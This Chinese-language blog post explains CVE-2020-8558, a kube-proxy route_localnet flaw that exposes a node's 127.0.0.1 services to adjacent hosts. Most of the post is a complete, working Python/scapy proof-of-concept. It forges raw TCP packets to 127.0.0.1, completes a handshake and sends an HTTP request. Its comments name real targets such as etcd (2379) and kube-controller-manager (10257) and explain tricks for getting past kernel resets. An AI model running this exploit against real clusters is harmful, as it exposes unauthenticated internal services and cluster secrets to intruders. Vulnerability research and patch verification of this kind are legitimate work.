CVE-2020-8558

漏洞原理

kube-proxy 为了实现功能,开启了内核参数 route_localnet,导致内核不再丢弃目标为 127.0.0.1 的外部数据包。于是,同一局域网的其他主机或同节点的容器,就能直接访问节点上那些本应只限本地访问、且通常无认证的 127.0.0.1 服务,造成信息泄露

POC

#!/usr/bin/env python3
# CVE-2020-8558 PoC - kube-proxy route_localnet 导致回环服务外部可达
# 用法: ip netns exec attacker python3 poc8558.py <目标端口> <宿主veth MAC>
# 前置: netns 内两条 127/8 local 路由已删除、默认路由指向宿主、ARP 已预热
# 原理: 构造目的 127.0.0.1 的 SYN -> 宿主 route_localnet=1 时路由到回环 -> 收到 SYN-ACK
# 两个关键修复:
#   1) 必须先启动 sniff 线程再发 SYN(veth 零延迟,SYN-ACK 在 send() 返回前就到)
#   2) netns 内 iptables -I INPUT -d <本机IP> -j DROP, 防内核 TCP 栈对"不请自来"
#      的 SYN-ACK 自动回 RST 打掉连接(AF_PACKET 抓包在 netfilter 之前, 不受影响)
import socket, struct, sys, threading, time
from scapy.all import *

SRC = "10.99.0.2"          # 攻击者(相邻主机)IP
DST = "127.0.0.1"          # 目标: 节点回环
DPORT = int(sys.argv[1])   # 目标本地端口 (8888 演示 / 2379 etcd / 10257 kcm ...)
SPORT = 55555
IFACE = "veth-b"           # 攻击者网卡
PEER = sys.argv[2]         # 宿主侧 veth-a 的 MAC

def mymac():
    return open("/sys/class/net/%s/address" % IFACE).read().strip()

def csum(d):
    if len(d) % 2:
        d += b"\x00"
    s = sum(struct.unpack("!%dH" % (len(d) // 2), d))
    s = (s >> 16) + (s & 0xffff)
    s += s >> 16
    return (~s) & 0xffff

def pkt(seq, ack, fl, pay=b""):
    tw = struct.pack("!HHIIBBHHH", SPORT, DPORT, seq, ack, 5 << 4, fl, 65535, 0, 0)
    ps = socket.inet_aton(SRC) + socket.inet_aton(DST) + struct.pack("!BBH", 0, 6, len(tw) + len(pay))
    tc = csum(ps + tw + pay)
    th = struct.pack("!HHIIBBHHH", SPORT, DPORT, seq, ack, 5 << 4, fl, 65535, tc, 0)
    total = 20 + len(th) + len(pay)
    iw = struct.pack("!BBHHHBBH4s4s", 0x45, 0, total, 0x1337, 0x4000, 64, 6, 0,
                     socket.inet_aton(SRC), socket.inet_aton(DST))
    ic = csum(iw)
    ih = struct.pack("!BBHHHBBH4s4s", 0x45, 0, total, 0x1337, 0x4000, 64, 6, ic,
                     socket.inet_aton(SRC), socket.inet_aton(DST))
    return ih + th + pay

def send(f):
    s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
    s.bind((IFACE, 0))
    s.send(struct.pack("!6s6sH",
                       bytes.fromhex(PEER.replace(":", "")),
                       bytes.fromhex(mymac().replace(":", "")), 0x0800) + f)
    s.close()

# 修复1: sniff 线程先启动
got = []
def cb(p):
    if TCP in p and p[TCP].sport == DPORT and p[TCP].dport == SPORT:
        got.append(p)
        return True

t = threading.Thread(target=lambda: sniff(iface=IFACE, prn=cb, store=0, timeout=6))
t.daemon = True
t.start()
time.sleep(0.5)
send(pkt(1000, 0, 0x02))
print("[+] SYN sent", flush=True)
t.join()
if not got:
    print("[-] NO SYN-ACK -> 利用失败 (route_localnet 未开启或包被丢弃)", flush=True)
    sys.exit(2)
sa = got[0]
print("[+] SYN-ACK received! 外部流量可达 127.0.0.1:%d" % DPORT, flush=True)
srv_seq = sa[TCP].seq

# 完成握手 + 发送 HTTP 请求
body = []
def cb2(p):
    if TCP in p and p[TCP].sport == DPORT and p[TCP].dport == SPORT:
        body.append(p)
        return True

t2 = threading.Thread(target=lambda: sniff(iface=IFACE, prn=cb2, store=0, timeout=3))
t2.daemon = True
t2.start()
time.sleep(0.3)
send(pkt(1001, srv_seq + 1, 0x10))  # ACK
send(pkt(1001, srv_seq + 1, 0x18,
         b"GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n"))
print("[+] handshake+GET sent", flush=True)
t2.join()
data = b"".join(bytes(p[TCP].payload) for p in body if p[TCP].payload)
if data:
    print("[+] 收到服务响应: %r -> FULL DATA PLANE OK" % data.decode(errors="replace").strip(), flush=True)
else:
    print("[-] TCP 可达但无应用数据 (服务已暴露, 需按协议进一步交互)", flush=True)

标签: none

添加新评论

邮箱仅用于识别回复,不会在页面公开。提交后请等待页面确认结果。

文章图片预览